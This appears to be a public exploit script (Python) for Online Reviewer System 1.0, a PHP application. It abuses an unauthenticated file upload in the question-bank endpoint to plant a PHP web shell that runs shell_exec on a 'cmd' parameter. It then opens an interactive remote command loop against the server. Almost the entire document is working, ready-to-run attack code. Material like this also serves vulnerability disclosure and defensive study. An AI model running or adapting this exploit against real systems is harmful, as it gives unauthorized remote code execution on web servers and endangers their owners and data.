# Exploit Title: Online Reviewer System 1.0 - Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-21
# Vendor Homepage: https://www.sourcecodester.com/php/12937/online-reviewer-system-using-phppdo.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/reviewer_0.zip
# Version: 1.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Online Reviewer System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
# RCE via executing exploit:
# Step 1: run the exploit in python with this command: python3 ORS_v1.0.py
# Step 2: Input the URL of the vulnerable application: Example: http://localhost/reviewer/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL
print(Style.BRIGHT+" Online Reviewer System 1.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)
print(r"""
______ _______ ________
___ //_/__ /_______ ___ _______ ______(_)_____ _
__ ,< __ __ \ __ `/_ | /| / / __ `/____ /_ __ `/
_ /| | _ / / / /_/ /__ |/ |/ // /_/ /____ / / /_/ /
/_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___ / \__,_/
/___/
abdullahkhawaja.com
""")
GREEN = '\033[32m' # Green Text
RED = '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}
#Create a new session
s = requests.Session()
#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}
LINK=input("Enter URL of The Vulnarable Application : ")
def webshell(LINK, session):
try:
WEB_SHELL = LINK+'/system/system/admins/assessments/databank/files/'+filename
getdir = {'cmd': 'echo %CD%'}
r2 = session.get(WEB_SHELL, params=getdir, verify=False)
status = r2.status_code
if status != 200:
print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
r2.raise_for_status()
print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', r2.text)
cwd = cwd[0]+"> "
term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
while True:
thought = input(term)
command = {'cmd': thought}
r2 = requests.get(WEB_SHELL, params=command, verify=False)
status = r2.status_code
if status != 200:
r2.raise_for_status()
response2 = r2.text
print(response2)
except:
print("\r\nExiting.")
sys.exit(-1)
#Creating a PHP Web Shell
phpshell = {
'personImage':
(
'kh4waja.php',
'<?php echo shell_exec($_REQUEST["cmd"]); ?>',
'application/octet-stream',
{'Content-Disposition': 'form-data'}
)
}
# Defining value for form data
data = {'difficulty_id':'1', 'test_desc':'CIVIL ENGINEERING', 'test_desc':'CIVIL ENGINEERING', 'test_subject':'Mathematics, Surveying and Transportation Engineering', 'description':'Hello World', 'option_a':'a', 'option_b':'b', 'option_c':'c', 'option_d':'d', 'answer':'A', 'btnAddQuestion':'Save' }
filename = 'kh4waja.php'
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'system/system/admins/assessments/databank/btn_functions.php?action=add', cookies=cookies, files=phpshell, data=data)
shell_upload = True if("" in upload.text) else False
u=shell_upload
if u:
print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
print(RED+"[-]Failed To Upload The PHP Shell!", RESET)
#Executing The Webshell
webshell(LINK, s)
